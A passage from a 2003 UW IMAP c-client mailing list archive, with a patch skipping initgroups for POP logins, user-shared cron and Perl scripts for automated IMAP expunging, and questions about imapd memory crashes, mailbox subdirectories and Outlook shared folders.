X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > I suggest something getting the service name and skipping the initgroups > call if it is pop, e.g.: > > long loginpw (struct passwd *pw,int argc,char *argv[]) > { > uid_t uid = pw->pw_uid; > char *name = cpystr (pw->pw_name); > char *service = (char *) mail_parameters (NIL,GET_SERVICENAME,NIL); > long ret = !(setgid (pw->pw_gid) || > (strcmp (service,"pop") ? initgroups (name,pw->pw_gid) : T) || > setuid (uid)); > fs_give ((void **) &name); > return ret; > } Thanks Mark. That was almost it. This appears to work for me: --- ./src/osdep/unix/log_std.c~ 2000-10-24 19:40:53.000000000 -0400 +++ ./src/osdep/unix/log_std.c 2003-09-30 22:29:26.340847000 -0400 @@ -29,7 +29,9 @@ { uid_t uid = pw->pw_uid; char *name = cpystr (pw->pw_name); - long ret = !(setgid (pw->pw_gid) || initgroups (name,pw->pw_gid) || + char *service = (char *) mail_parameters (NIL,GET_SERVICENAME,NIL); + long ret = !(setgid (pw->pw_gid) || + (strcmp (service,"pop") ? initgroups (name,pw->pw_gid) : NIL) || setuid (uid)); fs_give ((void **) &name); return ret; Steve From pinedev@shivax2.cac.washington.edu Thu Oct 2 07:21:14 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Oct 2003 07:21:14 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92EL9MZ024073 for ; Thu, 2 Oct 2003 07:21:09 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92EL7Y8028477 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 2 Oct 2003 07:21:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h92EL2sO023534; Thu, 2 Oct 2003 07:21:02 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92EJWJH070836 for ; Thu, 2 Oct 2003 07:19:32 -0700 Received: from web.savagewood.net (c-24-98-43-77.atl.client2.attbi.com [24.98.43.77]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92EJUDl030038 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 2 Oct 2003 07:19:31 -0700 Received: from file.savagewood.net ([192.168.1.15]) (authenticated bits=0) by web.savagewood.net (8.12.5/8.12.5) with ESMTP id h92EJUsG028943 for ; Thu, 2 Oct 2003 10:19:31 -0400 Message-Id: <1065104376.2368.54.camel@lovemaster.savagewood.net> Date: Thu, 02 Oct 2003 10:19:36 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Travis Beal To: c-client@u.washington.edu Subject: Automated IMAP Expunge Content-Type: text/plain Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_SHORT_DENSE, __CT, __CTE, __CT_TEXT_PLAIN, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I solved the automated expunge problem this way. 1. Create user postmaster. 2. Create group mailadm. Anyone in this group can work with user's IMAP folders. 3. Add postmaster to group mailadm. 4. Run script 1 as cron job. Script 1 shuts down mail and web services, generates a list of mailbox lists to process, calls the processing script, deletes the list of mailbox lists, and then restarts all services. Script 2 expunges all messages marked for deletion from IMAP folders and the regular /var/spool/mail inbox. It also moves messages in the Sent folder more than N days old to the trash. As you may expect, there is no guarantee that this will work for anyone else. It works on my system, but it should be used on other systems at one's own peril. It may cause data loss, mail corruption, and a plague of locusts o'er the land. I accept no responsibility for this script other than use on my own system. SCRIPT 1 -------------- #!/bin/bash #This script, run as a cron job, will expurge messages marked for deletion from IMAP mailboxes. #The Perl script below does the actual expurging. #Version 1.0 26 Sept 03 #broadcast stop echo 'Starting purge of folders.' date #stop internet services /etc/init.d/httpd stop /etc/init.d/sendmail stop #generate list of IMAP mailboxes ls /home/*/.mailboxlist > /root/listofmailboxlists #Perl purge /root/purge_folders_perl #start services /etc/init.d/sendmail start /etc/init.d/httpd start #remove the list rm -rf /root/listofmailboxlists #broadcast echo 'Purge of folders complete.' date ************************ SCRIPT 2 ------------------ #!/usr/bin/perl #get the Perl tools use Mail::IMAPClient; use Date::Manip; #this is the perl script that purges the folders. Works with purge_imap_folders print "Entering Perl section.....\n"; #variables $AGE = 60; #how many days a message may stay in Sent #read only open this list of mailbox lists open (LISTOFMAILBOXLISTS, "){ #load next line in file chop; #parse out next data file ($mailboxlisttoscan) = $_; ($file_prefix,$junk) = split (/\/.mailbox/,$mailboxlisttoscan); ($trash, $user_name) = split (/ome\//,$file_prefix); # (returns a new, authenticated Mail::IMAPClient object) $host = "localhost"; $id = "$user_name*postmaster"; #logging in with postmaster for admin $pass = "XXXXXXXXXXXXXXX"; #postmasters password $imap = Mail::IMAPClient->new( Server => $host, User => $id, Password=> $pass, ) or die "Cannot connect to $host as $id: $@"; #expunge the normal mail spool $imap->expunge("/var/spool/mail/$user_name") or die "Could not expunge: $@\n"; #read only open this mailbox lists open (MAILBOXLIST, "<$mailboxlisttoscan"); #go through this list while(){ #load next line in file chop; $mailboxtopurge = $_; $folder_to_expunge = "$file_prefix/$mailboxtopurge"; #check to see if this is Sent $sentcheck = index($mailboxtopurge,"Sent"); $truthcheck = ($sentcheck != -1); #kluge, but it works if ($truthcheck != 1) { #if not Sent folder, expurge normally #determine if the file exists if (-e "$folder_to_expunge"){ #if it exists, expunge it $imap->expunge($folder_to_expunge) } #end of exists check if else {print "$folder_to_expunge does not exist.\n";} } #end of exists check else else { #if the folder is Sent, then clean it out #determine where the trash is #chop Sent off folder location ($trash_location,$junk) = split(/\/Sent/,$folder_to_expunge); $trash_location = "$trash_location/Trash"; #return message ID numbers $imap->Uid(1); #select this folder $imap->select("$folder_to_expunge") or die "cannot select the Sent folder for $user_name: $@\n"; #calculate cutoff date #figure out today in seconds $right_now = time; #subtract the age difference in seconds $cutoff_date = $right_now - ($AGE * 24 * 3600); #convert to RFC2060 format $Rfc2060_date = $imap->Rfc2060_date($cutoff_date); #fetch all messages before that time @message_list = $imap->search("before",$Rfc2060_date) or warn "No messages found before $Rfc2060_date.\n"; #how many messages are in the list $number_of_messages = @message_list; #pack this list to the trash for($counter = 0; $counter < $number_of_messages; $counter++) { $msg_id = @message_list[$counter]; my $yes = $imap->move($trash_location,$msg_id); #see if the move was successful if ($yes) { #If we successfully moved it, then delete it from Sent $imap->delete_message($msg); } #end of if to see if we moved } #end of for loop #now expunge the Sent folder $imap->expunge($folder_to_expunge) or warn "Could not expunge: $folder_to_expunge\n"; } #end of else } #end of mailboxlists while close (MAILBOXLIST); #close the connection $imap->disconnect; } #end of listofmailboxlists while close (LISTOFMAILBOXLISTS); print "Exiting Perl section.\n"; -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 2 13:29:35 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Oct 2003 13:29:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92KTZMZ009185 for ; Thu, 2 Oct 2003 13:29:35 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92KTXY8011075 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 2 Oct 2003 13:29:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h92KTQhA015792; Thu, 2 Oct 2003 13:29:27 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92KS2JH026774 for ; Thu, 2 Oct 2003 13:28:03 -0700 Received: from sheridan.sibble.net (officegate.sibble.net [64.180.126.175]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92KRuhe027720 for ; Thu, 2 Oct 2003 13:28:02 -0700 Received: from gkar (gkar.sibble.net [192.168.73.4]) by sheridan.sibble.net (8.9.3p2/8.9.3) with ESMTP id OAA08676 for ; Thu, 2 Oct 2003 14:00:38 -0700 Message-Id: <200310022100.OAA08676@sheridan.sibble.net> Date: Thu, 02 Oct 2003 13:27:55 -0700 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: c-client@u.washington.edu Subject: problems with large imap folder/file MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Uwash-Spam: Gauge=XIIII, Probability=14%, Report='HOT_NASTY, PORN_4, SIGNATURE_LONG_SPARSE, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Have a client running linux with the UW Imapd server, with mbx (mail stored in home dirs) using Outlook Express 6 on the client side. The user having problems has approx 900 messages in her "Sent Items" folder/file. The file size is ~125mb. The server has 64mb ram and 128mb swap. When she attempts to delete and purge messages from the sent items folder, she gets an error message that I don't have at hand (I am not at the site, troubleshooting over the phone), but basically it says that the server reported an error of some sort. The server mail logs show: Oct 2 11:51:08 server1 imapd[597]: IMAP toolkit crash: Can't resize memory Oct 2 12:21:45 server1 imapd[817]: Fatal error user=username host=computer1 [192.xxx.xxx.xxx] mbx=/home/username/Sent Items: Can't resize memory and Oct 2 13:09:46 server1 imapd[1220]: Fatal error user=username host=computer1 [192.xxx.xxx.xxx] mbx=/home/username/Sent Items: Out of memory Oct 2 13:09:46 server1 imapd[1220]: IMAP toolkit crash: Out of memory The obvious error message and googling says it's a memory issue. Adding memory to the server is not a problem, however, is there another way for me to purge or move some of the messages from the Sent Items file without adding memory. Just so the user can access and delete other messages from the folder, until I add more ram next week. Thanks -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 2 14:23:50 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Oct 2003 14:23:50 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92LNiMZ011651 for ; Thu, 2 Oct 2003 14:23:44 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92LNh0K009508 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 2 Oct 2003 14:23:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h92LNcpM021690; Thu, 2 Oct 2003 14:23:38 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92LMuJH059380 for ; Thu, 2 Oct 2003 14:22:56 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92LMsQ2016329 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 2 Oct 2003 14:22:55 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92LMrhu020982; Thu, 2 Oct 2003 14:22:53 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92LMpSS003000 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 2 Oct 2003 14:22:53 -0700 Message-Id: Date: Thu, 2 Oct 2003 14:22:52 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Harondel J. Sibble" Cc: c-client@u.washington.edu Subject: Re: problems with large imap folder/file In-Reply-To: <200310022100.OAA08676@sheridan.sibble.net> References: <200310022100.OAA08676@sheridan.sibble.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Your system should have quite enough memory to handle the mail file that you describe. Are you certain that you are using mbx format (files that have "*mbx*" as the first line)? Have you tried upgrading to the latest version of UW imapd? ftp://ftp.cac.washington.edu/mail/imap.tar.Z -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Oct 2 16:18:08 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Oct 2003 16:18:08 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92NI8MZ017608 for ; Thu, 2 Oct 2003 16:18:08 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92NI4Y8017918 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 2 Oct 2003 16:18:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h92NHxVi029718; Thu, 2 Oct 2003 16:18:00 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92NH6JH031776 for ; Thu, 2 Oct 2003 16:17:06 -0700 Received: from orngca-mls03.socal.rr.com (mls03.hawaii.rr.com [66.75.160.40]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h92NH4Q1020893 for ; Thu, 2 Oct 2003 16:17:05 -0700 Received: from sequin.com (cpe-66-8-177-34.hawaii.rr.com [66.8.177.34]) by orngca-mls03.socal.rr.com (8.11.4/8.11.3) with ESMTP id h92NH4i11678; Thu, 2 Oct 2003 16:17:04 -0700 (PDT) Message-Id: <3F7CB1EE.8020100@sequin.com> Date: Thu, 02 Oct 2003 13:17:02 -1000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Michael C. Greenspon" To: c-client@u.washington.edu Subject: setting mailsubdir from client config? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIII, Probability=6%, Report='SIGNATURE_SHORT_DENSE, X_ACCEPT_LANG, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __MIME_VERSION, __MOZILLA_MSGID, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It is typical for users to want to store their collection of mailbox files in a separate subdir. For example I have a link ~/mailboxes -> that points to my mailboxes folder on another volume, possibly a server volume. How can this configuration be specified from the client side, e.g. from the Mozilla server settings for the IMAP server? Shouldn't the user be able to simply specify "mailboxes" or "~/mailboxes" for their home "server directory"? I want to avoid hardcoding the default subdir string in env_unix.c since each user may have a different subdir name (personal choice) and want to avoid server-side config files (admini headache.) Why am I (and so many other users it seems) having difficulty configuring this from the mail client side? If I set "mailboxes" as the server home in Mozilla, I am able to subscribe to/see all and only my mail folders, but I am only able to access ~/INBOX (which is its own link to ~/mailboxes/Inbox). All other mailbox files are inaccessible even though they show up in the subscribe list. If this is a Mozilla bug can someone at least explain how it 'should' work, i.e. how the 'home dir' and 'namespace' settings plus the mailbox name should map to the unix path for the file? Isn't just a simple catenation? Thanks, Michael -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 2 17:06:03 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Oct 2003 17:06:03 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93063MZ019758 for ; Thu, 2 Oct 2003 17:06:03 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93061Y8019713 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 2 Oct 2003 17:06:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9305tsO014930; Thu, 2 Oct 2003 17:05:55 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93056JH063312 for ; Thu, 2 Oct 2003 17:05:06 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93055he000839 for ; Thu, 2 Oct 2003 17:05:05 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93053hu015643; Thu, 2 Oct 2003 17:05:03 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93053SS019831 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 2 Oct 2003 17:05:03 -0700 Message-Id: Date: Thu, 2 Oct 2003 17:05:03 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Michael C. Greenspon" Cc: c-client@u.washington.edu Subject: Re: setting mailsubdir from client config? In-Reply-To: <3F7CB1EE.8020100@sequin.com> References: <3F7CB1EE.8020100@sequin.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 2 Oct 2003, Michael C. Greenspon wrote: > How can this configuration be specified from the client side, > e.g. from the Mozilla server settings for the IMAP server? Many client programs have a "root prefix" or "folder collections" setting. For example, in Outlook you would put in "mailboxes/" as the "root prefix", in Pine you could put in "mailboxes/[]" as your folder collection, etc. I don't know how things work in Mozilla. > I want to avoid hardcoding the default subdir > string in env_unix.c since each user may have a different subdir name > (personal choice) and want to avoid server-side config files (admini > headache.) Now you know why UW imapd doesn't do it... :-) -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Oct 2 17:26:27 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Oct 2003 17:26:27 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h930QRMZ020548 for ; Thu, 2 Oct 2003 17:26:27 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h930QP0K016573 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 2 Oct 2003 17:26:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h930QJpM029368; Thu, 2 Oct 2003 17:26:20 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h930PSJH073990 for ; Thu, 2 Oct 2003 17:25:28 -0700 Received: from qin.houseofszat.com (qin.houseofszat.com [204.182.112.72]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h930PQa1009123 for ; Thu, 2 Oct 2003 17:25:27 -0700 Received: from EIRE (unknown [204.182.112.65]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by qin.houseofszat.com (Postfix) with ESMTP id 59769E324A for ; Thu, 2 Oct 2003 17:27:57 -0700 (PDT) Message-Id: <000e01c38944$d65c71f0$4170b6cc@EIRE> Date: Thu, 2 Oct 2003 17:25:23 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "inness" To: Subject: shared folders with outlook MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME, SIGNATURE_SHORT_DENSE, __CT, __CTE, __CTYPE_CHARSET_QUOTED, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSGID, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY, __MIME_VERSION, __OUTLOOK_MSGID_1, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN hi all, this is my first time posting to the list here, so if it turns out that i'm posting to the wrong list, or that my question has been answered in some documentation that i've missed, please point me in the right direction. now then, on to the issue at hand. i'm trying to set up shared folders for some users i support. they all use either outlook (2000 or XP) or outlook express (6.0) and are unwilling to switch to something with better imap support. i've gotten the shared folders set up per the documentation, but i'm having real trouble getting both outlook and outlook express to reliably access the shared folders. if i subscribe to the folders first with mozilla, or by manually modifying the user's .mailboxlist file, when i open outlook, it will correctly show the shared folders, and i can browse the contents, etc. however, if i were to open up the "imap folders" box in outlook, it lists those shared folders under the "subscribed" list, but not the "all" list. if i were to uncheck the "show only subscribed folders" box, i would no longer have access to the shared folders. the main problem is that if i unsubscribe from a folder, there's no way to resubscribe except by modifying the .mailboxlist file or by using a different client (like mozilla) because the folder doesn't show up in the "all" list. i have tried different settings in the "root folder path", like INBOX, #shared, #shared\, etc. the only thing that works at all is leaving it blank, which results in the symptoms just explained. as for outlook express (oe), i've had limited success. the only way to get oe to recognize the shared folders at all is to set the root folder path to #shared. even then, it's shakey. if i open the imap folders box in oe, i can see the folders, but if i click the reset button, i get an error that "your specified root folder path of #shared could neither be found nor created..." the other thing is that i created a couple new folders under the #shared hierarchy with outlook, and then because i couldn't reset the folder list with oe, i could never see those new folders. i tried restarting oe, changing the namespace and then changing it back, no dice. however when i created some new folders with oe, when i tried outlook, it recognized them automatically. i then tried changing oe's root folder path to blank, let it sync up (at which point it no longer recognized the shared folders), then when i set it back to #shared, i got the same error again, and now i can't get the shared list back at all... not sure why sometimes it works and sometimes not... it seems to me that these are both problems with how outlook and oe handle the #shared namespace? is there some way to get around this? is there a change in the works for uw-imapd that would circumvent this problem? in the current condition, it would be an administrative nightmare to let tech-unsavvy users use shared folders, not to mention the problem that the oe users wouldn't be able to see the newly created folders. thanks much for anybody's help! -inness -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 2 17:39:01 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Oct 2003 17:39:00 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h930d0MZ021040 for ; Thu, 2 Oct 2003 17:39:00 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h930cwY8020804 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 2 Oct 2003 17:38:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h930crVi029928; Thu, 2 Oct 2003 17:38:53 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h930c4JH025122 for ; Thu, 2 Oct 2003 17:38:04 -0700 Received: from orngca-mls02.socal.rr.com (orngca-mls02.socal.rr.com [66.75.160.17]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h930c2Dk028244 for ; Thu, 2 Oct 2003 17:38:02 -0700 Received: from sequin.com (cpe-66-8-177-34.hawaii.rr.com [66.8.177.34]) by orngca-mls02.socal.rr.com (8.11.4/8.11.3) with ESMTP id h930XNk21689; Thu, 2 Oct 2003 17:33:25 -0700 (PDT) Message-Id: <3F7CC4E6.4080107@sequin.com> Date: Thu, 02 Oct 2003 14:37:58 -1000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Michael C. Greenspon" To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: setting mailsubdir from client config? In-Reply-To: References: <3F7CB1EE.8020100@sequin.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=I, Probability=1%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, X_ACCEPT_LANG, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __MOZILLA_MSGID, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I managed to get this working without hardcoding the mailsubdir. It is probably an interaction of my lack of understanding of the server behavior and the use/definition of namespaces coupled with random Mozilla lossage. Restarting Mozilla (not merely reconnecting the server) seemed to be crucial to deterministic results. Mozilla has the following in its Server Settings...Advanced dialog: Server Directory: mailboxes/ Personal namespace: "#mh/","#mhinbox","" Other users: (blank) It was crucial to have the trailing ',""' in Peronsal namespaces for this configuration to work. Other iterations of ~/mailboxes etc didn't cut it and I got messages from Mozilla like "Mailbox ~|mailboxes|Junk not found" when ~/mailboxes/Junk exists etc. But anyway now it is happy. Aloha! Michael E^K Mark Crispin wrote: > On Thu, 2 Oct 2003, Michael C. Greenspon wrote: > >>How can this configuration be specified from the client side, >>e.g. from the 